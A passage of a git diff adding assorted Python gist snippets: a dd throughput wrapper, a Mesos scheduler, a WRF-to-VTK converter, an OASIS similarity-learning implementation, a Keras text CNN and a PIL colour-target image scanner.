+            beta_j = linalg.lstsq(C[:, idx], C[:, i])[0]
+
+            res_j = C[:, j] - C[:, idx].dot( beta_i)
+            res_i = C[:, i] - C[:, idx].dot(beta_j)
+            
+            corr = stats.pearsonr(res_i, res_j)[0]
+            P_corr[i, j] = corr
+            P_corr[j, i] = corr
+        
+    return P_corr
\ No newline at end of file
diff --git a/hard-gists/9397410/._snippet.py b/hard-gists/9397410/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9397410/._snippet.py differ
diff --git a/hard-gists/9397410/snippet.py b/hard-gists/9397410/snippet.py
new file mode 100644
index 00000000..a5425305
--- /dev/null
+++ b/hard-gists/9397410/snippet.py
@@ -0,0 +1,59 @@
+from execute import execute, Retcode
+
+def dd(ifile, ofile, bs, count=None, seek=None):
+    """
+    Wrapper for the GNU dd command.
+    
+    Inputs:
+        ifile (str): Input file
+        ofile (str): Output file
+        bs    (str): Block size
+        count (str): Number of blocks to copy
+        seek  (str): Seek x blocks
+    Outputs:
+        time (float): Duration
+        tput (float): Throughput in MiB/s
+        iops (float): IOPS
+    """
+    # Execute dd command
+    cmd = "dd if=%s of=%s bs=%s" % (ifile, ofile, bs)
+    if count is not None:
+        cmd = " ".join([cmd, "count=%s" % count])
+    if seek is not None:
+        cmd = " ".join([cmd, "seek=%s" % seek])
+    try:
+        retcode, output = execute(cmd)
+    except:
+        raise
+    else:
+        if retcode:
+            raise Retcode(output)
+    
+    # Split lines into fields
+    records_in, records_out, summary = output.split("\n")
+
+    # Parse for record counts
+    # If we run out of disk space requested vs actual will vary
+    s = re.search(r"^([0-9]*)\+.*", records_in)
+    records_in = int(s.group(1))
+    s = re.search(r"^([0-9]*)\+.*", records_out)
+    records_out = int(s.group(1))
+
+    # There is no reason the record counts should not match but if they
+    # do raise an exception because it will effect calculations.
+    if records_in != records_out:
+        raise Exception('records mismatch')
+
+    # Parse for the byte total and time
+    s = re.search(r"^([0-9]*).*([0-9]+\.[0-9]+) s", summary)
+    size = int(s.group(1))
+    time = float(s.group(2))
+    
+    # Calculate throughput in Mib, i.e. base 2
+    # Note that dd returns base 10 calcaulation
+    tput = size / time / 1024**2 
+
+    # Calculate IOPS
+    iops = records_in / time
+    
+    return time, tput, iops
\ No newline at end of file
diff --git a/hard-gists/93e0ba46f0fa6faf660d/._snippet.py b/hard-gists/93e0ba46f0fa6faf660d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/93e0ba46f0fa6faf660d/._snippet.py differ
diff --git a/hard-gists/93e0ba46f0fa6faf660d/snippet.py b/hard-gists/93e0ba46f0fa6faf660d/snippet.py
new file mode 100644
index 00000000..9f45db7b
--- /dev/null
+++ b/hard-gists/93e0ba46f0fa6faf660d/snippet.py
@@ -0,0 +1,59 @@
+import logging
+import uuid
+import time
+
+from mesos.interface import Scheduler
+from mesos.native import MesosSchedulerDriver
+from mesos.interface import mesos_pb2
+
+logging.basicConfig(level=logging.INFO)
+
+def new_task(offer):
+    task = mesos_pb2.TaskInfo()
+    id = uuid.uuid4()
+    task.task_id.value = str(id)
+    task.slave_id.value = offer.slave_id.value
+    task.name = "task {}".format(str(id))
+
+    cpus = task.resources.add()
+    cpus.name = "cpus"
+    cpus.type = mesos_pb2.Value.SCALAR
+    cpus.scalar.value = 1
+
+    mem = task.resources.add()
+    mem.name = "mem"
+    mem.type = mesos_pb2.Value.SCALAR
+    mem.scalar.value = 1
+
+    return task
+
+
+class HelloWorldScheduler(Scheduler):
+
+    def registered(self, driver, framework_id, main_info):
+        logging.info("Registered with framework id: {}".format(framework_id))
+
+    def resourceOffers(self, driver, offers):
+        logging.info("Recieved resource offers: {}".format([o.id.value for o in offers]))
+        # whenever we get an offer, we accept it and use it to launch a task that
+        # just echos hello world to stdout
+        for offer in offers:
+            task = new_task(offer)
+            task.command.value = "echo hello world"
+            time.sleep(2)
+            logging.info("Launching task {task} "
+                         "using offer {offer}.".format(task=task.task_id.value,
+                                                       offer=offer.id.value))
+            tasks = [task]
+            driver.launchTasks(offer.id, tasks)
+
+if __name__ == '__main__':
+    framework = mesos_pb2.FrameworkInfo()
+    framework.user = ""  # Have Mesos fill in the current user.
+    framework.name = "hello-world"
+    driver = MesosSchedulerDriver(
+        HelloWorldScheduler(),
+        framework,
+        "zk://localhost:2181/mesos"  # assumes running on the main
+    )
+    driver.run()
diff --git a/hard-gists/944049/._snippet.py b/hard-gists/944049/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/944049/._snippet.py differ
diff --git a/hard-gists/944049/snippet.py b/hard-gists/944049/snippet.py
new file mode 100644
index 00000000..b586e5f2
--- /dev/null
+++ b/hard-gists/944049/snippet.py
@@ -0,0 +1,337 @@
+#!/usr/bin/env python
+
+'''
+WRF2VTK.py
+Jonathan Beezley
+April 27, 2011
+
+This is a python script to convert WRF-Fire output files into a series
+of vts (vtk structured grid) files.  This script depends on the following
+python modules:
+
+vtk
+netCDF4
+
+All variables are interpolated (linearly) to cell centered coordinates.  At
+most three files will be output at each time step.  One for 3D atmospheric
+arrays, and one for 2D atmospheric and fire grid surface arrays.  All time
+steps are numbered sequentially and a *.pvd file is created containing a 
+list of all files created as well as the simulation time created from the 
+DT attribute of the wrfout files.  The pvd file can be used with paraview
+to generate an animation.
+
+Common usage:
+
+python WRF2VTK.py -v FGRNHFX,GRNHFX,NFUEL_CAT -w surface_wind:UF:VF,atm_wind:U:V:W wrfout_d01*
+
+Try `python WRF2VTK.py -h` for a complete list of options.
+'''
+
+from netCDF4 import Dataset
+import numpy as np
+import optparse
+
+import vtk
+from vtk.util import numpy_support
+
+import sys
+
+global current_output_time
+current_output_time=0
+
+def getGridInfo(file,varname):
+    var=file.variables[varname]
+    dims=var.dimensions[1:]
+    if 'south_north_subgrid' in dims:
+        return 'fire'
+    elif len(dims) == 2:
+        return 'surface'
+    elif len(dims) == 3:
+        return 'atm'
+    else:
+        raise Exception('Unsupported variable type %s'%varname)
+
+def getSRatio(f):
+    try:
+        srx=len(f.dimensions['west_east_subgrid'])/(len(f.dimensions['west_east'])+1)
+        sry=len(f.dimensions['south_north_subgrid'])/(len(f.dimensions['south_north'])+1)
+    except:
+        print >> sys.stderr, "WARNING: could not determine subgrid ratio, using 1."
+        srx=1
+        sry=1
+    return srx,sry
+
+def readGrid(file,gridname,itime=0):
+    print 'Creating %s grid'%gridname
+    try:
+        dx=file.DX
+        dy=file.DY
+    except:
+        print >> sys.stderr, "Could not read spatial resolution, setting to 1."
+        dx=1
+        dy=1
+    if gridname == 'fire':
+        srx,sry=getSRatio(file)
+        dx=dx/float(srx)
+        dy=dy/float(sry)
+        nx=len(file.dimensions['west_east_subgrid'])-srx
+        ny=len(file.dimensions['south_north_subgrid'])-sry
+    else:
+        nx=len(file.dimensions['west_east'])
+        ny=len(file.dimensions['south_north'])
+    x=(np.arange(nx,dtype=np.float32)+.5)*dx
+    y=(np.arange(ny,dtype=np.float32)+.5)*dy
+    X,Y=np.meshgrid(x,y)
+    X.shape=(1,)+X.shape
+    Y.shape=(1,)+Y.shape
+    X=transposeVar(X)
+    Y=transposeVar(Y)
+    #print X.shape,Y.shape
+    if gridname == 'atm':
+        c=readFromNC(file,itime,('PH','PHB'))
+        ph=c['PH']
+        phb=c['PHB']
+        Z=(ph+phb)/9.81
+        X=np.repeat(X,Z.shape[0],0)
+        Y=np.repeat(Y,Z.shape[0],0)
+        #print X.shape,Y.shape
+    else:
+        if gridname == 'fire':
+            Z=readFromNC(file,0,('ZSF',))['ZSF']
+        else:
+            Z=readFromNC(file,0,('HGT',))['HGT']
+        Z.shape=X.shape
+    return vectorize([X,Y,Z])
+
+def openNCFile(filename):
+    return Dataset(filename,'r')
+
+def transposeVar(var):
+    #dims=np.arange(var.ndim-1,-1,-1)
+    return var#.transpose(dims)
+
+def readFromNC(f,itime,vars):
+    out={}
+    for vname in vars:
+        print 'Reading %s at timestep %i'%(vname,itime)
+        var=f.variables[vname]
+        vardata=var[itime,:].squeeze()
+        if vardata.ndim != 2 and vardata.ndim != 3:
+            raise Exception('Only 2 or 3 dimensional variables are supported (%s).'%vname)
+        if 'west_east_stag' in var.dimensions:
+            vardata=0.5*(vardata[...,1:]+vardata[...,:-1])
+        if 'south_north_stag' in var.dimensions:
+            vardata=0.5*(vardata[...,1:,:]+vardata[...,:-1,:])
+        if 'bottom_top_stag' in var.dimensions:
+            vardata=0.5*(vardata[...,1:,:,:]+vardata[...,:-1,:,:])
+        if 'south_north_subgrid' in var.dimensions:
+            if not 'west_east_subgrid' in var.dimensions or vardata.ndim != 2:
+                raise Exception('Invalid fire grid variable (%s).'%vname)
+            srx,sry=getSRatio(f)
+            #print srx,sry,vardata.shape
+            vardata=vardata[...,:-sry,:-srx]
+            #print vardata.shape
+        vardata=transposeVar(vardata)
+        if vardata.ndim == 2:
+            vardata.shape=(1,)+vardata.shape
+        out[vname]=vardata
+    return out
+
+def vectorize(vars):
+    if len(vars) == 2 and vars[0].shape == vars[1].shape:
+        vars.append(np.zeros(vars[0].shape))
+    elif len(vars) == 3 and vars[0].shape == vars[1].shape == vars[2].shape:
+        pass
+    else:
+        print vars[0].shape,vars[1].shape#,vars[2].shape
+        raise Exception('Invalid vector.')
+    v=np.ndarray(vars[0].shape+(3,),dtype=vars[0].dtype)
+    v[...,0]=vars[0]
+    v[...,1]=vars[1]
+    v[...,2]=vars[2]
+    return v
+
+def parseVectors(vectors):
+    if isinstance(vectors,str):
+        vectors=vectors.split(',')
+    out={}
+    for v in vectors:
+        vec=v.strip().split(':')
+        out[vec[0].strip()]=[w.strip() for w in vec[1:]]
+    return out
+
+def parseVariables(variables):
+    if isinstance(variables,str):
+        variables=variables.split(',')
+    return [v.strip() for v in variables]
+
+def parseFiles(files):
+    if isinstance(files,str):
+        files=files.split(',')
+    return [f.strip() for f in files]
+
+def numpy_to_vtk(vdata,vname=None,vector=False):
+    #print 'Converting %s to vtk array'%vname
+    shp=vdata.shape
+    if not vdata.flags['C_CONTIGUOUS']:
+        deep=1
+    else:
+        deep=0
+    #print 'deep=%i'%deep
+    vdata=np.ascontiguousarray(vdata,dtype=vdata.dtype)
+    if vector:
+        vdata.shape=vdata.size/3,3
+    else:
+        vdata.shape=vdata.size
+    vtkdata=numpy_support.numpy_to_vtk(vdata, deep=deep)
+    if vname:
+        vtkdata.SetName(vname)
+    vdata.shape=shp
+    return vtkdata
+
+def getVTKsgrid(grid):
+    shape=[i for i in reversed(grid.shape[:-1])]
+    print 'Creating vtk structured grid with shape %s'%str(shape)
+    pts=getVTKpoints(grid)
+    sgrid=vtk.vtkStructuredGrid() #@UndefinedVariable
+    sgrid.SetPoints(pts)
+    sgrid.SetExtent(0,shape[0]-1,0,shape[1]-1,0,shape[2]-1)
+    return sgrid
+
+def addVTKvariable(sgrid,varname,vardata,vector=False):
+    shape=[i for i in reversed(vardata.shape[:3])]
+    if len(vardata.shape) == 4:
+        shape.append(vardata.shape[3])
+    print 'Adding variable %s with shape %s'%(varname,str(shape))
+    vdata=numpy_to_vtk(vardata,varname,vector)
+    sgrid.GetPointData().AddArray(vdata)
+
+def getVTKpoints(grid):
+    shape=grid.shape
+    #nlen=np.prod(shape[:-1])
+    #grid.shape=(nlen,shape[-1])
+    vgrid=numpy_to_vtk(grid,vector=True)
+    pts=vtk.vtkPoints() #@UndefinedVariable
+    pts.SetData(vgrid)
+    return pts
+
+def writeVTKsgrid(filename,sgrid,compress=True):
+    w=vtk.vtkXMLStructuredGridWriter() #@UndefinedVariable
+    print 'Writing VTK file %s'%filename
+    w.SetFileName(filename)
+    w.SetInput(sgrid)
+    if compress:
+        w.SetCompressorTypeToZLib()
+    else:
+        w.SetCompressorTypeToNone()
+    w.Update()
+    w.Write()
+
+def writeVTK(grids,variables,vectors,vardata,output,filefmt,nocompress,**kwdargs):
+    global current_output_time
+    current_output_time=current_output_time+1
+    files={}
+    for gridname in grids:
+        g,vars=grids[gridname]
+        sgrid=getVTKsgrid(g)
+        for vname in set(vars).intersection(variables):
+            addVTKvariable(sgrid,vname,vardata[vname])
+        for vecname in vectors:
+            vector=vectors[vecname]
+            if vector and vector[0] in vars:
+                if not all([(iv in vars) for iv in vector]):
+                    raise Exception('Not all variables in vector %s are on the same grid.'%vecname)
+                vecdata=vectorize([vardata[v] for v in vector])
+                addVTKvariable(sgrid,vecname,vecdata,vector=True)
+        files[gridname]=filefmt%{'grid':gridname,'time':current_output_time}+'.vts'
+        writeVTKsgrid(files[gridname],sgrid,not nocompress)
+    return files
+
+def writePVD(filename,files,dt=1,compression=True):
+    outfile=open(filename,'w')
+    if sys.byteorder == 'little':
+        byteorder='LittleEndian'
+    else:
+        byteorder='BigEndian'
+    if compression:
+        compressor=' compressor="vtkZLibDataCompressor"'
+    else:
+        compressor=''
+    header='<?xml version="1.0"?>\n'+ \
+           '<VTKFile type="Collection" version="0.1" byte_order="%s"%s>\n' % (byteorder,compressor) + \
+           '<Collection>\n'
+    footer='</Collection>\n'+'</VTKFile>'
+    filefm='<DataSet timestep="%f" group="" part="" file="%s"/>\n'
+    outfile.write(header)
+    print 'Creating group file %s'%filename
+    for i in xrange(len(files)):
+        outfile.write(filefm % (i*dt,files[i]))
+    outfile.write(footer)
+
+def main(files,variables,vectors,time=-1,nocompress=False,output='wrfout'):
+    time=int(time)
+    variables=parseVariables(variables)
+    vectors=parseVectors(vectors)
+    files=parseFiles(files)
+    ofiles=[]
+    atime=time
+    otime=0
+    for f in files:
+        print 'Reading from %s'%f
+        file=openNCFile(f)
+        if time == -1:
+            time = np.arange(len(file.dimensions['Time']))
+        else:
+            time=[time]
+        allvars=sum(vectors.values(),[])
+        allvars=set(allvars).union(variables)
+        for t in time:
+            grids={}
+            for var in allvars:
+                gridname=getGridInfo(file,var)
+                try:
+                    g=grids[gridname]
+                except KeyError:
+                    g=(readGrid(file,gridname,t),[])
+                    grids[gridname]=g
+                g[1].append(var)
+            vardata=readFromNC(file,t,allvars)
+            otime=otime+1
+            ofile=writeVTK(variables=variables,vardata=vardata,vectors=vectors,
+                           output=output,filefmt='%(grid)s_%(time)05i',
+                           nocompress=nocompress,grids=grids,itime=otime)
+            ofiles.append(ofile)
+        time=atime
+    gridnames=ofiles[0].keys()
+    try:
+        dt=file.DT
+    except:
+        dt=1
+    for n in gridnames:
+        writePVD('%s.pvd'%n,[ofiles[i][n] for i in xrange(len(ofiles))],
+                 compression=not nocompress,dt=dt)
+
+
+if __name__ == '__main__':
+    parser=optparse.OptionParser(usage='usage: %prog [options] filename')
+    
+    parser.add_option('-v','--variables',action="store",type="string",dest='variables',
+                    default='',help='A comma separated list of variables')
+    parser.add_option('-w','--vectors',action='store',type='string',dest='vectors',
+                      default='',help='A comma separated list of vectors (i.e. -w wind1:U:V:W,wind2:UF:VF)')
+    parser.add_option('-t','--time',action="store",type="string",dest="time",
+                      default="-1",help='The time slice to convert [default convert all time steps]')
+    parser.add_option('-n','--nocompress',action='store_true',dest='nocompress',
+                      default=False,help='Do not save as a compressed file')
+    #parser.add_option('-s','--scale',action="store",type="float",dest="scale",
+    #                  default=scale_degree,help="vertical to horizontal scaling factor")
+    
+    (options,args)= parser.parse_args()
+    
+    if len(args) < 1:
+        parser.print_help()
+        raise Exception('NetCDF file name required.')
+    
+    opt={'variables':options.variables,'vectors':options.vectors,
+         'time':options.time,'nocompress':options.nocompress}
+    main(args,**opt)
diff --git a/hard-gists/94412c4808421acbd1d0/._snippet.py b/hard-gists/94412c4808421acbd1d0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/94412c4808421acbd1d0/._snippet.py differ
diff --git a/hard-gists/94412c4808421acbd1d0/snippet.py b/hard-gists/94412c4808421acbd1d0/snippet.py
new file mode 100644
index 00000000..d304c556
--- /dev/null
+++ b/hard-gists/94412c4808421acbd1d0/snippet.py
@@ -0,0 +1,307 @@
+""" Python implementation of the OASIS algorithm.
+Graham Taylor
+
+Based on Matlab implementation of:
+Chechik, Gal, et al.
+"Large scale online learning of image similarity through ranking."
+The Journal of Machine Learning Research 11 (2010): 1109-1135.
+"""
+
+from __future__ import division
+import numpy as np
+from sklearn.base import BaseEstimator
+from datetime import datetime
+import matplotlib.pyplot as plt
+import cPickle as pickle
+import os
+import gzip
+from sys import stdout
+
+
+def snorm(x):
+    """Dot product based squared Euclidean norm implementation
+
+    See: http://fseoane.net/blog/2011/computing-the-vector-norm/
+    Doesn't matter if row or column vectors are passed in
+    Since everything is flattened
+    """
+    return np.dot(x.flatten().T, x.flatten())
+
+
+def make_psd(W):
+    """ Make matrix positive semi-definite. """
+    w, v = np.linalg.eig(0.5 * (W + W.T))  # eigvec in columns
+    D = np.diagflat(np.maximum(w, 0))
+    W[:] = np.dot(np.dot(v, D), v.T)
+
+
+def symmetrize(W):
+    """ Symmetrize matrix. """
+    W[:] = 0.5 * (W + W.T)
+
+
+class Oasis(BaseEstimator):
+    """ OASIS algorithm. """
+
+    def __init__(self, aggress=0.1, random_seed=None, do_sym=False,
+                 do_psd=False, n_iter=10 ** 6, save_every=None, sym_every=1,
+                 psd_every=1, save_path=None):
+
+        self.aggress = aggress
+        self.random_seed = random_seed
+        self.n_iter = n_iter
+        self.do_sym = do_sym
+        self.do_psd = do_psd
+        self.sym_every = sym_every
+        self.psd_every = psd_every
+        self.save_path = save_path
+
+        if save_every is None:
+            self.save_every = int(np.ceil(self.n_iter / 10))
+        else:
+            self.save_every = save_every
+
+        if self.save_path is not None:
+            if not os.path.exists(self.save_path):
+                os.makedirs(self.save_path)
+
+    def _getstate(self):
+        return (self._weights, )
+
+    def _setstate(self, state):
+        weights, = state
+        self._weights = weights
+
+    def _save(self, n=None):
+        """ Pickle the model."""
+        fname = self.save_path + "/model%04d.pklz" % n
+        f = gzip.open(fname, 'wb')
+        state = self._getstate()
+        pickle.dump(state, f)
+        f.close()
+
+    def read_snapshot(self, fname):
+        """ Read model state snapshot from gzipped pickle. """
+        f = gzip.open(fname, 'rb')
+        state = pickle.load(f)
+        self._setstate(state)
+
+    def _fit_batch(self, W, X, y, class_start, class_sizes, n_iter,
+                   verbose=False):
+        """ Train batch inner loop. """
+
+        loss_steps_batch = np.empty((n_iter,), dtype='bool')
+        n_samples, n_features = X.shape
+
+        # assert(W.shape[0] == n_features)
+        # assert(W.shape[1] == n_features)
+
+        for ii in xrange(n_iter):
+            if verbose:
+                if np.mod(ii + 1, 100) == 0:
+                    print ".",
+                if np.mod(ii + 1, 1000) == 0:
+                    print "%d" % (ii + 1),
+                if np.mod(ii + 1, 10000) == 0:
+                    print "[%s]" % str(datetime.now())
+                # http://stackoverflow.com/questions/5101151/print-without-newline-under-function-doesnt-work-as-it-should-in-python
+                stdout.flush()
+
+            # Sample a query image
+            p_ind = self.init.randint(n_samples)
+            label = y[p_ind]
+
+            # Draw random positive sample
+            pos_ind = class_start[label] + \
+                self.init.randint(class_sizes[label])
+
+            # Draw random negative sample
+            neg_ind = self.init.randint(n_samples)
+            while y[neg_ind] == label:
+                neg_ind = self.init.randint(n_samples)
+
+            p = X[p_ind]
+
+            samples_delta = X[pos_ind] - X[neg_ind]
+
+            loss = 1 - np.dot(np.dot(p, W), samples_delta)
+
+            if loss > 0:
+                # Update W
+                grad_W = np.outer(p, samples_delta)
+
+                loss_steps_batch[ii] = True
+
+                norm_grad_W = np.dot(p, p) * np.dot(samples_delta,
+                                                    samples_delta)
+
+                # constraint on the maximal update step size
+                tau_val = loss / norm_grad_W  # loss / (V*V.T)
+                tau = np.minimum(self.aggress, tau_val)
+
+                W += tau * grad_W
+                # plt.figure(10)
+                # plt.imshow(W,interpolation='nearest')
+                # plt.draw()
+
+            # print "loss = %f" % loss
+
+        return W, loss_steps_batch
+
+    def fit(self, X, y, overwrite_X=False, overwrite_y=False, verbose=False):
+        """ Fit an OASIS model. """
+
+        if not overwrite_X:
+            X = X.copy()
+        if not overwrite_y:
+            y = y.copy()
+
+        n_samples, n_features = X.shape
+
+        self.init = np.random.RandomState(self.random_seed)
+
+        # Parameter initialization
+        self._weights = np.eye(n_features).flatten()
+        # self._weights = np.random.randn(n_features,n_features).flatten()
+        W = self._weights.view()
+        W.shape = (n_features, n_features)
+
+        ind = np.argsort(y)
+
+        y = y[ind]
+        X = X[ind, :]
+
+        classes = np.unique(y)
+        classes.sort()
+
+        n_classes = len(classes)
+
+        # Translate class labels to serial integers 0, 1, ...
+        y_new = np.empty((n_samples,), dtype='int')
+
+        for ii in xrange(n_classes):
+            y_new[y == classes[ii]] = ii
+
+        y = y_new
+        class_sizes = [None] * n_classes
+        class_start = [None] * n_classes
+
+        for ii in xrange(n_classes):
+            class_sizes[ii] = np.sum(y == ii)
+            # This finds the first occurrence of that class
+            class_start[ii] = np.flatnonzero(y == ii)[0]
+
+        loss_steps = np.empty((self.n_iter,), dtype='bool')
+        n_batches = int(np.ceil(self.n_iter / self.save_every))
+        steps_vec = np.ones((n_batches,), dtype='int') * self.save_every
+        steps_vec[-1] = self.n_iter - (n_batches - 1) * self.save_every
+
+        if verbose:
+            print 'n_batches = %d, total n_iter = %d' % (n_batches,
+                                                         self.n_iter)
+
+        for bb in xrange(n_batches):
+            if verbose:
+                print 'run batch %d/%d, for %d steps ("." = 100 steps)\n' \
+                      % (bb + 1, n_batches, self.save_every)
+
+            W, loss_steps_batch = self._fit_batch(W, X, y,
+                                                  class_start,
+                                                  class_sizes,
+                                                  steps_vec[bb],
+                                                  verbose=verbose)
+
+            # print "loss_steps_batch = %d" % sum(loss_steps_batch)
+            loss_steps[bb * self.save_every:min(
+                (bb + 1) * self.save_every, self.n_iter)] = loss_steps_batch
+
+            if self.do_sym:
+                if np.mod(bb + 1, self.sym_every) == 0 or bb == n_batches - 1:
+                    if verbose:
+                        print "Symmetrizing"
+                    symmetrize(W)
+
+            if self.do_psd:
+                if np.mod(bb + 1, self.psd_every) == 0 or bb == n_batches - 1:
+                    if verbose:
+                        print "PSD"
+                    make_psd(W)
+
+            if self.save_path is not None:
+                self._save(bb + 1)  # back up model state
+
+        return self
+
+    def predict(self, X_test, X_train, y_test, y_train, maxk=200):
+        '''
+        Evaluate an OASIS model by KNN classification
+        Examples are in rows
+        '''
+
+        W = self._weights.view()
+        W.shape = (np.int(np.sqrt(W.shape[0])), np.int(np.sqrt(W.shape[0])))
+
+        maxk = min(maxk, X_train.shape[0])  # K can't be > numcases in X_train
+
+        numqueries = X_test.shape[0]
+
+        precomp = np.dot(W, X_train.T)
+
+        # compute similarity scores
+        s = np.dot(X_test, precomp)
+
+        # argsort sorts in ascending order
+        # so we need to reverse the second dimension
+        ind = np.argsort(s, axis=1)[:, ::-1]
+
+        # Voting based on nearest neighbours
+        # make sure it is int
+
+        # Newer version of ndarray.astype takes a copy keyword argument
+        # With this, we won't have to check
+        if y_train.dtype.kind != 'int':
+            queryvotes = y_train[ind[:, :maxk]].astype('int')
+        else:
+            queryvotes = y_train[ind[:, :maxk]]
+
+        errsum = np.empty((maxk,))
+
+        for kk in xrange(maxk):
+            # AFAIK bincount only works on vectors
+            # so we must loop here over data items
+            labels = np.empty((numqueries,), dtype='int')
+            for i in xrange(numqueries):
+                b = np.bincount(queryvotes[i, :kk + 1])
+                labels[i] = np.argmax(b)  # get winning class
+
+            errors = labels != y_test
+            errsum[kk] = sum(errors)
+
+        errrate = errsum / numqueries
+        return errrate
+
+
+if __name__ == "__main__":
+    from sklearn import datasets
+    digits = datasets.load_digits()
+
+    X_train = digits.data[500:] / 16
+    X_test = digits.data[:500] / 16
+    y_train = digits.target[500:]
+    y_test = digits.target[:500]
+
+    model = Oasis(n_iter=100000, do_psd=True, psd_every=3,
+                  save_path="/tmp/gwtaylor/oasis_test").fit(X_train, y_train,
+                                                            verbose=True)
+
+    errrate = model.predict(X_test, X_train, y_test, y_train, maxk=1000)
+    print "Min error rate: %6.4f at k=%d" \
+          % (min(errrate), np.argmin(errrate) + 1)
+    plt.figure()
+    plt.plot(errrate)
+
+    n_features = X_train.shape[1]
+    W = model._weights.view()
+    W.shape = (n_features, n_features)
+
+    print W[0:5, 0:5]
\ No newline at end of file
diff --git a/hard-gists/944439a04546f4c02cb9/._snippet.py b/hard-gists/944439a04546f4c02cb9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/944439a04546f4c02cb9/._snippet.py differ
diff --git a/hard-gists/944439a04546f4c02cb9/snippet.py b/hard-gists/944439a04546f4c02cb9/snippet.py
new file mode 100644
index 00000000..fa813e2f
--- /dev/null
+++ b/hard-gists/944439a04546f4c02cb9/snippet.py
@@ -0,0 +1,65 @@
+
+from __future__ import absolute_import
+from __future__ import print_function
+import numpy as np
+
+from keras.datasets import reuters
+from keras.models import Sequential
+from keras.layers.embeddings import Embedding
+from keras.layers.convolutional import Convolution2D, MaxPooling2D
+from keras.layers.core import Dense, Dropout, Activation, Flatten, Reshape, Merge
+from keras.utils import np_utils
+from keras.preprocessing.sequence import pad_sequences
+
+
+vocab_size = 20000
+batch_size = 1
+embedding_size = 64
+maxlen = 50
+nb_feature_maps = 32
+
+print("Loading data...")
+(X_train, y_train), (X_test, y_test) = reuters.load_data(nb_words=vocab_size, test_split=0.2)
+print(len(X_train), 'train sequences')
+print(len(X_test), 'test sequences')
+
+nb_classes = np.max(y_train) + 1
+print(nb_classes, 'classes')
+
+X_train = pad_sequences(X_train, maxlen=maxlen)
+X_test = pad_sequences(X_test, maxlen=maxlen)
+print('X_train shape:', X_train.shape)
+print('X_test shape:', X_test.shape)
+
+print("Convert class vector to binary class matrix (for use with categorical_crossentropy)")
+Y_train = np_utils.to_categorical(y_train, nb_classes)
+Y_test = np_utils.to_categorical(y_test, nb_classes)
+print('Y_train shape:', Y_train.shape)
+print('Y_test shape:', Y_test.shape)
+
+ngram_filters = [2, 3, 4]
+conv_filters = []
+
+for n_gram in ngram_filters:
+    sequential = Sequential()
+    conv_filters.append(sequential)
+
+    sequential.add(Embedding(vocab_size + 1, embedding_size))
+    sequential.add(Reshape(1, maxlen, embedding_size))
+    sequential.add(Convolution2D(nb_feature_maps, 1, n_gram, embedding_size))
+    sequential.add(Activation("relu"))
+    sequential.add(MaxPooling2D(poolsize=(maxlen - n_gram + 1, 1)))
+    sequential.add(Flatten())
+
+model = Sequential()
+model.add(Merge(conv_filters, mode='concat'))
+model.add(Dropout(0.5))
+model.add(Dense(nb_feature_maps * len(conv_filters), nb_classes))
+model.add(Activation("sigmoid"))
+
+model.compile(loss='categorical_crossentropy', optimizer='adadelta')
+model.fit(X=X_train, y=Y_train, batch_size=batch_size, nb_epoch=200, verbose=1, show_accuracy=True, validation_split=0.1)
+
+score = model.evaluate(X_test, Y_test, batch_size=batch_size, verbose=1, show_accuracy=True)
+print('Test score:', score[0])
+print('Test accuracy:', score[1])
\ No newline at end of file
diff --git a/hard-gists/94456/._snippet.py b/hard-gists/94456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/94456/._snippet.py differ
diff --git a/hard-gists/94456/snippet.py b/hard-gists/94456/snippet.py
new file mode 100644
index 00000000..1ab84551
--- /dev/null
+++ b/hard-gists/94456/snippet.py
@@ -0,0 +1,95 @@
+from PIL import Image, ImageColor, ImageDraw
+import itertools
+
+im = Image.open("real.jpg")
+pix = im.load()
+draw = ImageDraw.Draw(im)
+
+def colorTargetMatch(c):
+  if c[0] < 235 and c[0] > 192: #red
+    if c[1] < 190 and c[1] > 130: #green
+      if c[2] < 156 and c[2] > 120: #blue
+        return True
+  return False
+
+def colorBandMatch(c):
+  if c[0] < 140 and c[0] > 60: #red
+    if c[1] < 150 and c[1] > 80: #green
+      if c[2] < 170 and c[2] > 110: #blue
+        return True
+  return False
+  
+start = -1
+xlist = []
+for x in range(0, im.size[0]):
+  color = pix[x, 0]
+  if colorBandMatch(color) == False:
+    pix[x, 0] = (255, 0, 0, 255)
+    if start == -1:
+      start = x
+  elif start != -1:
+    if x - start < 10:
+      print "X Axis Center Discarded; Start: ",start," End: ",x
+    else:
+      print "X Axis Center Found; Start: ",start," End: ",x
+      xlist.append((start+x)/2)
+      pix[(start+x)/2, 0] = (0,255,0,255)
+    start = -1
+start = -1
+ylist = []
+for y in range(0, im.size[1]):
+  color = pix[0, y]
+  if colorBandMatch(color) == False:
+    pix[0, y] = (255, 0, 0, 255)
+    if start == -1:
+      start = y
+  elif start != -1:
+    if y - start < 10:
+      print "Y Axis Center Discarded; Start: ",start," End: ",y
+    else:
+      print "Y Axis Center Found; Start: ",start," End: ",y
+      ylist.append((start+y)/2)
+      pix[0,(start+y)/2] = (0,255,0,255)
+    start = -1
+
+for point in itertools.product(xlist, ylist):
+  x = point[0] - 17
+  y = point[1] + 22
+  color = pix[x, y]
+  pix[x, y] = (0, 100, 0, 255)
+  if colorTargetMatch(color) == True:
+    pix[x, y] = (255, 255, 0, 255)
+    count = 0.0
+    box = 25
+    for x1 in range(x-box, x+box):
+      color = pix[x1, y-box]
+      if colorTargetMatch(color) == True:
+        count += 1
+    for x2 in range(x-box, x+box):
+      color = pix[x2, y+box]
+      if colorTargetMatch(color) == True:
+        count += 1
+    for y1 in range(y-box, y+box):
+      color = pix[x-box,y1]
+      if colorTargetMatch(color) == True:
+        count += 1
+    for y2 in range(y-box, y+box):
+      color = pix[x+box,y2]
+      if colorTargetMatch(color) == True:
+        count += 1
+    ratio = count / (box*2*4)
+
+    #draw.rectangle(((x-box, y-box),(x+box, y+box)), outline=(255,255,0))
+    
+    draw.text((x, y-5), str(ratio), fill=(0,0,0))
+    #draw.rectangle(((x-box, y-box),(x+box, y+box)), outline=(0,0,0))
+    if ratio > 0.09 and ratio < 0.2:
+      pix[x, y] = (255, 0, 255, 255)
